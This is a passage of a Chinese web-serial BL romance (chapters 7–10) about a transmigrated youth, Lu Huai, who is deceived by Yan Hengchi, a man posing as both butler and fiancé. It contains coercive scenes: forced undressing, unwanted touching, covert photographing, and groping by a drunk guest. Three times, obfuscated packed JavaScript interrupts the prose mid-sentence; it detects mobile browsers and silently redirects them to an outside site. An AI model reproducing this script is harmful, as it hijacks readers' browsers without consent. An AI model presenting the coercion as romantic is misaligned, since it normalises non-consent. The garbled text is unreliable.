那你今天好好玩吧,我说什么你都不吭声,整得我好像很碍事一样。】 故作伤心地叹口气,蜥蜴决定把空间留给终于开始热爱生活的陆徊,打算选个厨房的角落里饱餐一顿。 真是奇怪,那天不还说这是一场梦吗,怎么突然变了个人似的? 果然还是小孩心态,变得很快嘛。 并不知道角落里有只会说话的蜥蜴叫了他好几次,终于搭配好一身绝世酷拽风格的陆徊得意洋洋地对着镜子转了个圈。 他捞过腰间垂坠的银色锁链晃晃,左看右看,突然凑近了镜面,盯着自己空无一物的耳朵猛瞧。 “太逊了吧,之前的我居然不知道打耳洞?说好的活出自我呢?” 捋了一把自己的头发,捏了几缕放在眼前细细观察了一番,陆徊握拳,决定今天帮助原主做一个造型大改造。 没错,这是他重生的第一天。 上辈子他为了救一个过马路的小孩,被一辆刹车失灵的货车撞死,死前一秒他还在想,还好自己推开了那个孩子,要不然对方就要一辈子躺在病床上了。 那样多可怜啊。 从小到大都很有同理心的陆徊并不为自己的死亡难过。 其实他本来躺在地上感受自己生命的逐渐流逝,结果一睁眼就来到了这个世界,这具身体的原主是个可怜人,被他好赌的爸卖给了一个富贵人家做少爷的童养媳,因为昨天不小心打碎了一个碗,害怕被追究责任,晚上吊死在了浴室门口。 现在喉咙还有些痛。 后怕地摸摸脖子,陆徊对着镜子拜了三拜,在心底默念,一定会替原主过好这一生。 这才一大早爬起来捯饬自己的陆徊又开始翻箱倒柜,试图找到一根能遮住他脖颈处伤疤的东西。 如果不是害怕捂着伤口容易发炎,他就直接穿高领了。 好不容易折腾完,陆徊踩着欢快的步子下楼,惊讶地发现桌子上没有任何早餐。 哦,他明白了,童养媳的意义就在这里。 但是他不会做饭…… 不过十分具有好学精神的陆徊噔噔噔跑上楼,敲响了最大那间卧室的门。 “管家爷爷,能不能教一下我怎么做饭啊,过会儿就该叫少爷起床了,我想给他准备好早餐。” 他敲了一遍又一遍,始终没把对方从门口叫出来,不禁有些疑惑。 “喂,您好,是严家的家庭医生吗,管家爷爷可能出事了,我怎么敲门他都没反应……嗯,对的,一定是管家,毕竟他年龄已经很大了,所以才要住最大的卧室……什么,您说现在是早上五点半,让我不要再敲了?” 一脸疑惑地放下电话,陆徊对着屏幕里那唯一一条通话记录百思不得其解。 为什么家庭医生说话的语气这么不耐烦? “咔嚓”一声,面前的门开了。 “陆徊,你最好给我一个你大清晨敲了二十分钟门的理由。” 严珩驰脸色黑沉,任谁被打扰清晨的好梦都难以维持住好脾气,更何况刚才陆徊打进来的那通电话—— 什么年纪大了,管家爷爷,都是什么和什么?? “太好了,管家爷爷……哦,叔叔,您终于醒了,我还以为你出事了呢。” 陆徊笑得一脸天真,完全不知道自己接下来的话在严珩驰心里掀起了怎么样的惊涛骇浪。 “我要学着给我未来丈夫做饭啦,拜托您教我几道他喜欢的菜吧!” 8. 第 8 章 “……什么?” 严珩驰的眉头紧紧皱成了川字,感觉有什么事情脱离了他的掌控。 今天的陆徊穿得像只翘着尾巴的小孔雀,和往日那副没精打采的模样相去甚远,简直像换了个人。 目光从对方大喇喇敞开的低领上衣中挪开,严珩驰看着不带一丝表演成分的陆徊,眯起了眼,久久没有回话。 “管家叔叔您怎么不说话啊?” 着急做好童养媳本分的男生往前迈了半步,眼底是明晃晃的渴望。他硬生生把自己挤进门里,疑惑地打量着和平时有些不一样的老管家。 不是都说管家人很好吗,怎么感觉对方好像一直在瞪他…… “叔叔你是不是不知道少爷他爱吃什么菜呀,没事我记忆力好,他最喜欢吃表哥偷偷带过来的烤乳鸽和雪菜鱼汤,最讨厌的是病号餐……” 严珩驰也不出声,就默默看着陆徊像吃了菌子一样一通乱说,很快猜出了对方行为古怪的原因。 看来自己昨晚那句话直接把陆徊的运行程序干宕了机,自行扫描杀毒完的大少爷确确实实已经忘记了一切“异常”,还非常贴心地用自己贫瘠的人生过往把世界观拼接得十分齐全。 比如目前在他眼里,严珩驰可能是一位为家里的少爷操劳多年的和蔼可亲老管家。 哦,估计那只会说话的蜥蜴也被他一并扫进回收站了。 已经懒得思索自己在对方心里为什么是这么个形象,扫了一眼趴在陆徊脚边大声哀嚎对方始乱终弃的胖系统,严珩驰久违地感受到了些许兴趣。 从第一个捏造身份凭空出现在他身边的“人”算起,陆徊是他发现的第六个任务者。 只不过比起来曾经那些人以下属,朋友或者竞争对手的身份接触,陆徊选择的角色定位是最特立独行的一个。 自从他抓住世界运行的规矩后,已经很少对一个人这么上心了。 “那你讨好未婚夫的方式错了。” “欸?” 那什么是对的? 衣领被大手攥住,扯得陆徊脚下一个趔趄,来不及思考对方话里的深意,就被男人稀里糊涂扯进了房间。 屋门在他身后砰一声关上,连带着整条走廊地毯都微微振动了一下,抖出一点小小的灰。 不偏不倚吹了蜥蜴一头。 “学那个能有用?” 柔软的布料在男人手里蜷缩成可怜巴巴的形状,和衣服的主人没什么两样。 不知道管家突然觉醒了什么奇怪的属性,僵着身子被严珩驰按在地毯上的陆徊抽抽鼻子,扫在脸上的长绒毛痒痒的,激得他打了个喷嚏。 “那要学什么呀。” 陆徊揉揉脸,虽然觉得现在两人的姿势很奇怪,却又被男人的话吸引了注意力,眼睛转啊转,成功被带偏。 “把这个穿上。” 丢过去一团看不出什么样式的衣服,严珩驰靠在沙发上打了个哈欠,看着一脸茫然的男生坐在地上,对着手中明显不是他应该穿的东西发愣。 “当初把你买进来之前不是说了要听话?不换就算了,明天就把你卖了。” “啊?” 男人的声音呼吸压得很低,其中的恐吓意味吓得陆徊一哆嗦。 他赶紧摇头,不知所措抓着那团薄薄的布料,抖开看了看,一脸为难。 “但是这明显不是男生穿的衣服吧?少爷真的会喜欢吗?” 他目露怀疑,又看了看站在一旁的严珩驰,觉得对方可能性别认知有点问题。 “管家叔叔,你都上年纪了,有没有可能你的喜好和少爷不一样啊。” 已经有些习惯陆徊的无厘头发言,严珩驰发现这次自己格外有耐心,继续哄着没什么常识的大少爷换衣服,顺便准备好了相机。 “还学不学?再多一句废话就滚出去。” “……哦。” 凶什么,岁数大了不起啊。 不过就是一件,一件裙子,他完全没有问题—— 抱着死马当成活马医的念头,试试也无妨,陆徊撇撇嘴,表情纠结地举起手,眼神乱瞟,小小声提意见。 “我,我想去洗手间换一下。” “不用。” 性格似乎比之前跳脱了不少,都敢在心里吐槽他了。 严珩驰一眼就看出来这人的那点小心思,一句话断了对方想要跑路的心。 顺便慢悠悠地补上了后半句话。 “就在床上脱。” “喂,你不要欺人太甚!” 陆徊气呼呼地把东西一扔,什么讨好听话的念头跑得一条不剩,他也顾不上尊敬这位老管家了,从地上跳起来就往门外跑。 还没跑出去两步,领子就抓住了。 “看来你是打算让我亲手帮你穿了?” 抓陆徊已成习惯,下意识手一捞就把人逮了回来,失却耐心的严珩驰干脆亲自上手,压着正在床上表演游泳的陆徊,剥开了他的第一件衣服。 虽然心性稚嫩了不少,身体还是原来那副模样。严珩驰慢慢打量着这具十分具有活力的身体,眼底漫上一层兴味。 整体偏单薄,有力而不足。不至于枯瘦到令人提不起兴致的地步,又没有过分油腻的肌肉,程度刚刚好。 “哦?身材不错。” 带着剥茧的手指顺着青年的脊椎骨缓缓摩挲了两下,力道不大,却折磨得陆徊止不住地发抖,他趴在床上死死咬住了枕头的一角,才没让声音流出来,眼睛都憋红了。 “你放开我!我自己穿!” 吐出湿漉漉的布料,被摸得浑身发软的陆徊恨恨出声,尾音是他都想不到的绵软。 “晚了。” 严珩驰淡淡看他一眼,欣赏够了对方不住颤抖的身体。本想移开视线,却不受控地瞥向陆徊腰后不明显的两处浅窝上。 这个位置十分适合握住。 然后—— 之前还没有仔细了解过这位“天降联姻者”的具体身体内容,觉得对方只有一张好颜色的严珩驰慢慢摸着表盘,思绪四散间,喉结不明显地滚动了一下。 “你老实一点,还能快点结束。” 严珩驰的手停在了陆徊的下半身,摸索着碰上拉链,他顿时抖得更厉害了,上半身汗津津的,感觉自己像被命运的大手掐住了要害。 腰带解开的声音在安静的房间里过分清脆,陆徊只能继续埋在被子里当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978234|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸵鸟,恨不得自己五感尽失。 “翻过来。” 顺手拍了拍大少爷过分挺翘的部位,严珩驰目不斜视,仿佛自己不是在按着家族买进来的童养媳做不轨之事,而是在病房里检查患者身体。 “有话好好说!有话好好说!别动手!” 屁股被打让陆徊差点弹起来,他深吸一口气,又不敢大声嚷嚷,只能小发雷霆,委婉地表达一下自己的不满。 “抬腿。” 已经听之任之的陆徊双眼无神,像个玩偶娃娃任严珩驰摆弄,直到他感到有什么像蕾丝一样东西蹭到了他下颌。 “不是,脱是你来,穿总该我来了吧?” 已经不想和对方有一点身体接触的陆徊抓住时机躲得飞快,严珩驰倒也不生气,默认了对方的提议。 真正穿上衣服才觉得这件多让人为难。 洁白的蕾丝围裙系在外面,然而内里的黑色短裙下摆短得过分,感觉自己稍微迈步就会透风,陆徊苦着脸,对着手中的系带一脸茫然。 “哈哈,这也已经穿上了,那谢谢你管家,我去找少爷了——” 话还没说完,就被一股大力掀翻在了床上。 陆徊艰难地撑着身子爬起来,腰间的热度就烫得他腿一软,又重重栽回去。 “等等,你,你突然捏我腰干嘛?” “系带。” 手下力度不减,严珩驰把人打理好,又拿过一旁的黑色丝带,往陆徊脖子上戴。 “等等!不行!” 脖颈一凉,突然想起来原主是上吊死亡的陆徊赶紧爬起来,义正辞严地挡住严珩驰的手。 “已经穿好衣服了,你一开始没说要加配饰!” “那就换个地方吧。” 被拒绝了也不生气,严珩驰看了一眼陆徊光滑如初的脖子,懒得去猜对方又在自己的故事剧情里补了什么诡异的设定,抬手用丝带蒙住了他的眼。 顺便系了个死结。 “原来管家你是打算让我去陪少爷玩捉迷藏啊!” 陆徊恍然大悟,猛地锤手,觉得姜还是老的辣。 你看,让他扮成女仆小姐姐混在人群里,不正好可以和少爷互动增添感情吗? “嗯你说得都对。” 严珩驰推了一把坐在床上分不出东南西北的陆徊,抬手按下了拍摄键。 一张照片静静地滑进他手中,又被放进了抽屉里。 “好了,现在下楼去客厅坐着等你的未婚夫吧。” 男人没什么情绪的声音从旁边传来,视力消失后其余感觉变得敏锐了许多,只觉得耳边吹来一股热气,陆徊抖晃晃脑袋,想把那点黏腻在自己脸上的温度抖下去。 “记住,中途不能摘下眼前的东西,否则就把你卖了。” 脚步声离开了,严珩驰的警告却还回绕在耳边,陆徊打了个哆嗦,尽量不去想那个可能,慢慢摸索着打开了房门,结果刚打开把手就绊了一跤,苦着脸跪在地上揉腿。 被严珩驰关在门外抓狂了半天,蜥蜴好不容易从走廊另一头赶过来,然后差点对着面前的景象背过气去。 为什么他的宿主会穿着裙子从严珩驰房间里爬出来?? 9. 第 9 章 客厅空无一人,安静得只能听到一口老钟行走时的嘀嗒声,陆徊吸吸鼻子,失去视觉后嗅觉跟着灵敏了不少。空气中似乎有一点淡淡的香气,很浅。 是水调中含着一点木质香味儿。 海洋和森林的气息混合着,为逐渐升腾的困意添砖加瓦,眼皮重得像被灌了铅,在陌生地方的拘谨被一点点化解,他小小打了个哈欠,抬手揉了揉脸,努力不让自己像三天没睡觉一样犯困。 不行,还没有见到人呢,现在睡着了岂不是精心准备的衣服就浪费了。 蒙住丝带后耳边的声音似乎都放大了一倍,指针走动的声音在耳边忽远忽近,仿佛一首无调的安眠曲。 眼皮愈发沉重,在丝带的遮掩下不受控制地颤抖,仿佛被胶水黏在了一起,需要陆徊竭尽全力才能勉强掀开一丝缝隙。 “要不然还是睡一会儿吧,犯着困见面也太失礼了……” 很快就在心里给自己找好了理由,陆徊伸手在旁边胡乱摸了摸,选中一个靠枕紧紧抱住,不受控制合住了眼。 呼…… 于是等到严珩驰特地从庄园后院小门绕出来一圈出来,看到的就是穿着黑白小裙子,在沙发上睡得正甜的陆少爷。 黑色的丝绸依旧牢固,几乎遮住了男生大半张脸,发丝凌乱,只露出一点柔软洁白的侧脸,和颜色浅淡的唇。 此刻正微微张开,随着呼吸起伏,窥见一点水润的粉。 虚心好学的小少爷还乖乖穿着那件和他体型适配的女仆装。因为歪在沙发上的姿势,领口松散了许多,严珩驰居高临下地打量着他,半蹲下去拨开那段碍眼的发丝,露出一小段纤细脆弱的脖颈。 锁骨上方还有一个浅淡的齿印,过去了一夜也不见消散,反而看起来重了不少,好像被重重啃咬吮吸过一样。 看着这处由他施与的痕迹,严珩驰淡淡移开视线,捻了捻指尖,仿佛又回想起陆徊身上的香气,浅淡又独特。 鼻息无意间粗重了几分,惹得睡得沉沉的人在梦中往后躲了躲,梦呓着好热好热。 起身退开一段距离,严珩驰直起身来,扫视了一圈周围,打算把人弄到床上去睡——这个小麻烦精早上五点多就爬起来闹腾,能睡好就怪了。 刚弯下腰准备伸手把人抱起,眼角余光一扫,看到陆徊因为变换睡姿而卷起的裙边,目光微微一滞,半晌忘了动作。 本来就堪堪遮住大腿的下裙摆已经翻上去不少,刚才遮盖得还算完好的区域现在暴露得彻底,起码在站着的严珩驰眼里,一览无余。 暴露在空气中的位置浮出一层珠玉般的白润,透着一点健康的粉色。出乎意料的是,看起来身形纤瘦的陆徊,腿根的软肉足够柔嫩,不大的骨架却生出来一双具有肉感的腿。 更为深入的位置在客厅的灯光下格外吸睛,在人心底慢慢泛起一种沉甸甸的痒意来。 睡得四仰八叉的陆徊可没猜到这个男人盯着他睡觉脑补了什么,他抱着枕头翻了个身,早忘了自己睡的不是大床而是单人沙发,背后一空,迷迷糊糊中感觉出来不对劲,还没等他摔到地上,先掉进了一个陌生的怀抱里。 “啊!” 硬生生从梦中吓醒的滋味儿并不好受,缓了几分钟才回过神来的陆徊眨眨眼,迟钝地感受着男人的怀抱,鼻腔里满是对方身上淡淡的木质香气。 “是你吗,少爷?” 眼前蒙着丝带的男生小心翼翼地开口,摸索着牵住了严珩驰的衣袖。 “谢谢你接住我……” 早上要为未来丈夫做早餐的雄心壮志早已抛到九霄云外,面对骤然出现在自己面前的真人,陆徊眨眨眼,脸直接红成了番茄。 “没事,你不要紧吧,怎么睡在沙发上?” 温柔的男声从上方传来,陆徊挠挠头,总觉得声音有一丝熟悉,然而努力回想许久也没有想出来他曾经在哪儿听过,干脆抛去了脑后。 他根本不好意思讲出来真正原因,陆徊喃喃说不出话来,又不想让对方走,只能暗暗着急,捏紧了男人的衣袖。 “哦……是不是等我等很久了?” 含着笑意的问话从头上传来,藏着一丝打趣,陆徊半趴在对方怀里,抖了一下自己的衣服,鼓起勇气点头,解释得很小声。 “他们说你今天会回家,所以我想……我想,先给你个惊喜。” 话音落下,半晌没有回应,陆徊又尴尬又羞耻,恨不得把东西摘了亲眼看见对方什么表情,又想起来管家冷冰冰的话语,不敢违背,只能在心底偷偷猜测男人的模样。 “之前是飞去对岸处理产业遗留问题,以后不会了。” 惴惴不安地等来了丈夫的回音,陆徊正暗自雀跃,手中却突地多出一件重物,坠得他胳膊都沉了几厘米,呆呆摸索了几秒,他才意识到这是对方给他的礼物。 “路上得到消息的时候时间已经不剩多少,只能赶近去选了一件,不知道你喜不喜欢。” “这,这是给我的?” 头顶被一只大手摸了摸,力道轻柔,陆徊怔怔抬头,试图通过密不透风的丝带看清男人的脸。 “对,等你再长大一些正式过门,还有一套特地留给你的首饰,这个只是见面礼,来,我帮你戴上。” 手腕被托住,一只重量不轻的镯子慢慢穿过他的右手,明显是玉制品的饰品沉沉坠在那一截细腕上,相映成双。 “谢,谢谢……”陆徊默默感受着男人还搭在他手腕上的温度,突然升起一点诡异的庆幸。 还好他提前去找管家叔叔问了问,要不然第一次见面就没有礼物,那该多失礼啊。 “对不起……我没有什么东西可以送给你的。”陆徊不好意思地挠挠头,又赶紧补上一句。 “其实我本来打算早点起床给你准备一下早餐的,因为听说你要回来、但是,但是我睡着了……” 声音越来越低,越说越觉得尴尬,陆徊干脆闭上嘴,假装自己是个哑巴。 “以后这些家务事不用你做,会有佣人的。”腰间被轻柔地环住,陆徊只觉得脚下一轻,身体就突然腾空了,吓得他惊叫一声,下意识抓紧了男人的手臂。 “沙发上睡着容易难受,我抱你去楼上。” 不是,他一个男人,怎么就这么轻松地被抱起来了? 陆徊本来还有点紧张自己的重量,但对方抱着他,步伐走得极稳,很快就来到了二楼。 一整层铺垫的地毯吸音效果很好,以至于身后传来咔哒一声,他才知道自己被抱进了男人的卧室。 房间里很安静,整个空气中带着颇具个人特色的木质味道,陆徊扯扯对方衣服,小声唤他把自己放下来。 “忘了和你说,我同样也很满足你身上的这件礼物,很特别,也很美。” 从来没见过陆徊这么乖巧一面的严珩驰没什么表情,眉头却紧得能夹死苍蝇——只不过是换了个身份,就能让他对一个莫名出现的丈夫深信不疑,怎么到了自己这里就…… 有些不忿另一重身份上得到的不公正待遇,揉捏男生耳垂的力度不由得加大了不少,等到陆徊低低发出一声痛呼,严珩驰才猛地回神,赶紧把已经被蹂躏得红了一层的耳垂从指间放出来。 “……抱歉,我刚才在想给你准备一副什么款式的耳环。” “可是我没有耳洞啊?” 大度地原谅了对方捏着他耳朵不放的行为,陆徊歪着头,不知道对方摸了半天都摸了点什么,怎么连他没有耳洞都没发现。 “给未来的你准备的。” 严珩驰说起谎话脸不红心不跳,眼看靠在他身上的陆徊还是满脸怀疑,干脆俯身在人额上落下轻轻一吻。 “你今年多大?” “十九了。” “那我虚长你八岁。” 含着笑意的声音无形中卸下了陆徊的防备,这个人还是很好相处的嘛——他想得简单,低着头叫了声哥。 “嗯,小徊真乖。” 脑袋又被男人揉了揉,顺势牵起了他的手,直到两个人的手指相贴,陆徊才惊觉对方的手掌比他大了一圈,轻松把他放在了手里。 “以后每晚我都会回来陪你,白天你就好好和严……管家学习,他会教给你一些东西。” “啊?” 陆徊一想到早上那个人对他的态度,就磨磨蹭蹭着不想答应。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978235|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “就不能换个人吗,我总觉得他不喜欢我,今天上午老凶了,说如果我不听话,就把我卖了。” 似乎意识到自己刚和丈夫见面就在给对方抱怨家中事宜,陆徊鼓着脸,握着男人的手轻轻摇了两下,抬脸软绵绵地撒娇。 “如果,如果他真有一天把我卖了,那我不就见不到你了……” “不会的。”男人声音顿了一下,陆徊有些疑惑,总觉得对方说话的语气咬牙切齿,又很快被下一句话打消了疑虑。 “他……只是方式有点欠缺,出发点是好的,就像你今天为了我穿上的衣服,我会教育他对你尊重一些,毕竟你是未来的严夫人。” “哇老公你人真好……咦等一下,是严管家的那个严吗?” 那你还想当谁家的童养媳? 严珩驰默默看一眼陆徊,努力吞下那句质问,庆幸对方看不到他抽搐的嘴角。 “严管家工作很多年了,顺势就把姓氏改了,你平时直接叫他管家就行,不用加代称。” 并不知道对方是被一口一个管家叔叔整怕了,陆徊乖巧点头,想解开眼上的布料,认一认自己未来的丈夫。 “等一下,严家的规矩是在婚前双方不能见面,我私下来找你说话已是违背了祖约,听话,我不想你被罚抄家规。” 不是哥们儿,你这话把我整哪儿来了,这还是我们二十一世纪吗? 一下子被两项专有名词整得一愣一愣的,陆徊慢吞吞应了句好,很快就调整好了自己的心态。 也是,都买童养媳了,封建味儿浓点也正常,还好严少爷性格还算不错…… “没事,以后我每天晚上找你见面,记住,不能开灯,否则你就要被送进别的宅子里,直到婚前才能再见到我了。” “好吧……” 陆徊小脸皱成一团,虽说好奇心得不到满足,但还是理智占据了上风,他乖乖点了点头,感觉自己像在陪对方出演希腊神话。 那我总有权利知道未来丈夫是美是丑吧…… 陆徊心生一计,故意紧紧贴在男人身上,伸手去搂对方的脖子,趁机偷偷扒拉下去一点眼罩,想捕捉到一点脸部细节。 “想干什么坏事呢。” 男生的小动作虽然隐秘,怎么可能逃得过一直看着他的严珩驰,又好气又好笑地把扑过来的陆徊抱住,他干脆抓起对方的右手,放在了自己脸上。 被发现偷看的陆徊嘿嘿一笑,只要他不尴尬,尴尬的就是别人。 他顺着男人的指引一点点摸过对方的脸,在心里笨笨临摹了半天,大概描绘出来一副小猪佩奇的样子。 鼻子很挺,眼窝深邃,嘴唇偏薄…… 白皙的指尖被男人湿热的吐息烫到,惊得向后一缩,陆徊好不容易把心里那头粉猪的形象抹去,就被一口咬住了指尖。 力道很轻,不像惩罚,更像在教训他的不专心。 “怎么这时候都能走神,我就这么没有吸引力吗。” 似真似假的抱怨在耳边响起,这时候才发现两人距离近得不足一指距离,耳朵被吹得发痒,陆徊下意识侧头一躲,柔软的唇正好擦过对方的嘴角。 房间里突然变得安静起来。 刚才没什么存在感的香气突然变得浓郁,似乎有一些东西在空气中慢慢蒸腾,熏得陆徊头晕脑胀。 他虚虚抓着男人的衣领,身体紧绷,腰上落下一只有力的手,把他环住,往上扶了扶。 “其实我想这么做很久了。” 还没来得及思考为什么对方的声音低哑了许多,下巴一凉,被迫抬起脸的陆徊就迎来了一个轻柔的吻,像羽毛一样落在他脸上,鼻尖,最后是唇间。 腰间的手臂越收越紧,似乎要把他勒进身体。陆徊不得不仰起头承接男人的吻,对方动作愈发激烈,迷迷糊糊之时,他总觉得这种接吻方式有些熟悉。 陆徊笨拙地张着嘴,被人含进去一遍又一遍,直到嘴唇肿得不成样子,他也没想起来这份熟悉感从何而来。 只能用力锤了男人一拳,委屈地指着自己的嘴巴,吐出一截粉舌给人看。 “你看你,好像把我舌头咬肿了!” 10. 第 10 章 “哥哥那我今晚想和你一起睡。” 已经开始不自觉学会了撒娇,陆徊趴在男人腿上滚来滚去,像团软趴趴的年糕。 “我走得早,会吵醒你。”宽厚的大手在男生耳边缓缓摩挲着,克制着不去往他大敞的领口下移动。被摸得有些痒,陆徊咕哝一声,歪头蹭了蹭男人的掌心。 被这份乖巧取悦得很好的严珩驰眸色沉沉,目光落在他仍然红得有些艳丽的唇上,差点控制不住自己同意对方的提议。 “如果你在严管家那里好好表现,明晚就可以。” 听到这话,刚才还有些闷闷不乐的陆徊很快精神起来,连听到他最讨厌的管家名字都觉得没有那么厌烦了。 “那你可不能食言!” 胡乱在对方怀里乱拱一气,成功弄乱了严珩驰的衣服,陆徊靠在男人小腹上,仰着头看他,还没高兴几分钟,脸上又变得忧心忡忡。 “如果那个管家为难我怎么办,比如故意说我做得不好之类的……” “不会的。” 陆徊挠挠头,虽然不懂少爷话里的笃定从何而来,但还是很听话地嗯了一声。 乖得根本不像同一个人。 严珩驰移开视线,这个姿势下陆徊藏在衣服里的身体一览无余,甚至直接能看到他穿了什么颜色的内裤。 真是个祖宗。 “好了,你就在这里睡觉,明天吃完早饭,记得去找严管家。我需要处理一下工作的事,今晚就不回来了。” “啊?好吧……我知道了——” 头上传来一声轻轻的叹息。 “别磨蹭,如果他发现你迟到向我告状,那明天我们可能就不能见面了。” 似乎听出来他的不情愿,随着关门声飘进房间里的还有一句话,听得陆徊愤愤锤了下枕头,假装自己打的是某个只会欺负他的死人脸。 房间门又被轻轻敲响,随着脚步声踏入的时候还有饭菜的香味。 陆徊吸吸鼻子,闻到了有自己爱吃的莲藕排骨汤,一个鲤鱼打挺跳起来,扯下眼罩就往上扑。 “您睡过了午饭用餐时间,先吃一些垫垫肚子吧。” 送上午餐的仆人又安静地退出房门,早就饿得前胸贴后背的陆徊数了数送来的六个菜,头一次恨自己怎么不能长出来两个胃。 午后的阳光歇着洒进来,踮着脚在露台看了一会儿外面湖景的陆徊打个哈欠,果断在躺椅上又睡了一会儿,没想到这一觉直到了晚上。 严家似乎非常有钱,在寸土寸金的城区找了这么一处没怎么污染过的寂静地方开辟了座庄园,依山傍水,甚至还能看到不少星星。 陆徊眯着眼数了一会儿,听到一声咕噜声,才后知后觉自己又有些饿了。 原主刚死过一次,应该胃口好是件很正常的事吧…… 一边心虚地给自己辩解,一边蹑手蹑脚地走下楼梯,他隐约记得厨房的位置在一楼那个东南角,只要不开灯,偷偷去冰箱里拿一些吃的就好。 厨房的地面冰凉,不像通厅铺着地毯,陆徊苦着一张脸,努力在一片黑暗中扒拉出冰箱的方位。窸窸窣窣的声音像极了一只趁着夜晚偷偷出来刨食的仓鼠。 好不容易翻箱倒柜找出来几袋饼干,陆徊无比怀念中午那顿饭。 正在他努力想再扒拉出个玻璃杯倒点水喝的时候,身后突然传来跌跌撞撞的脚步声,似乎听到了这里的声音,脚步声越来越近,下一秒,一个满是酒味儿的身体紧紧靠了过来。 “哦?这是谁带进来的小情人,鞋都不穿,不会是那个工作狂吧?” 被围困在男人和壁橱之间,陆徊前后为难,他张着嘴想解释什么,却被捏住了下巴仔细端详,年轻人的手劲很大,陆徊皱着眉不住往后缩,感觉自己下巴被掐青了。 “长得是不错……早说啊,原来严哥好这口。” 被人揪着脸左右晃着看了个遍,陆徊被捏得呜呜直叫,拼尽全力踩了对方一脚,却听到青年低低笑起来。 “我真是喝多了,严哥要是能对工作之外的人动心,那真是太阳打西边出来了。” 轻慢地拍了拍陆徊的脸,很喜欢手下细腻的触感,没轻没重揉了两把,盛东醉醺醺地打个酒嗝儿,否定了自己的猜测。 “那就是偷偷溜进来的?” “不是,我是严少爷今天刚——” 陆徊对上男人的视线,心头莫名一跳,像是被一头大型的猛兽盯住,他赶紧摇头,努力张嘴想做出解释。 然而男人根本不在乎他说什么,径直伸手拨开了他的衣服下摆,伸手摸了上来。 “等等!” 为了图省事只披了一件外套的陆徊欲哭无泪,他死命去掰对方的手,却被搂得更紧,几乎整个人都被扣进了怀里,腰侧箍得生疼,满鼻都是男人身上的酒味儿。 “你是哪个店的?跑过来这么远,能拿几个钱,不如跟了我……” 含糊不清的问话在头上响起,从来没听过这种话的陆徊一愣,随即脸涨得通红,努力屈起膝盖,狠狠顶上男人的小腹,气得睁大了眼睛。 “我说了不是你以为的那样!” “哇哦,脾气这么辣,啧啧,够劲儿。” 盛东满不在乎地抖抖肩膀,精准地抓住了陆徊的脚踝,逼着人一退再退,直到坐在了岛台上,避无可避。 “我是认真的,你这张脸跟着严珩驰也是浪费,我就没见过他养过人,还不如换个人,比如我……” 手下细腻温热的肌肤让他爱不释手,顺手拍拍身下男生什么衣物都没有的挺翘部位,盛东大手一挥,指间多了一张卡。 “二百万够不够?” 比陆徊更快的是斜着飞过来的一个花瓶。 “砰!” 刚才还压在他身上动手动脚的男人被砸得动作一滞,满脸疑惑地往旁边看去,下一秒就迎上了重重的一拳。 “严,严管家!” 陆徊小声地叫了一下救星的名字,又看了一眼没抗住一顿揍,已经躺在地上鼻青脸肿的男人。表情纠结,偷偷摸摸把吃完的饼干袋往身后藏了藏。 “没事吧。” “……可能你再来晚点就有事了。” 陆徊答得不情不愿,想道谢又张不开嘴,干脆跨过地上的一大团人形垃圾,跟着严珩驰走出了厨房。 随意穿的衣服也映入了男人的眼帘,看得严珩驰嘴角一抽,脸色顿时黑成了锅底。 “你在想什么?晚上下楼连条裤子都不穿?” 这才想起来自己只穿了一件宽大衬衫,堪堪遮住下边的陆徊讪笑,不顾男人难看至极的脸色,一溜烟跑上了楼,还不忘抹一把嘴角的饼干渣。 “陆徊!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978236|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没听到没听到,快跑。 严珩驰看着对方上楼时下面若隐若现的风景,只觉得头疼,低头看了一眼没抗住几拳就被揍晕过去的盛东,冷冷一笑。 又补上去一脚,权当泄愤。 至于那个一溜烟儿就没影的。 严珩驰放重步伐,经过陆徊的房门,在门上转了一圈收回视线。 这只更跑不掉。 还不知道又被严珩驰记了一笔的陆徊打了个喷嚏,哼哼着揉了下鼻子,翻个身睡得很香。 然而睡醒时的好心情在看到餐桌上的男人时顿时消失殆尽。 陆徊一脸菜色坐在严珩驰对面,小心翼翼地吃饭,夹水晶包都只敢挑自己面前的。 “昨天那个人我已经教训过他了,私闯民宅,扔进去待几个月吧。” 没想到严珩驰一句话就给那人留了个案底,思及昨晚两人似乎熟稔的关系,没想到对方这么不近人情。 陆徊戳了戳碗里的圆滚滚的汤圆,斟酌着回了一句知道了。 似乎看出来他疏远的态度,严珩驰更是心烦,恨不得直接快进到晚上—— “吃完饭去我房间。” 径直放下筷子离开,眼看着严珩驰的背影消失,终于松下一口气的陆徊迅速夹走男人那边的一个汤包放进了自己的碟子里。 嚼嚼,好吃,再吃一个。 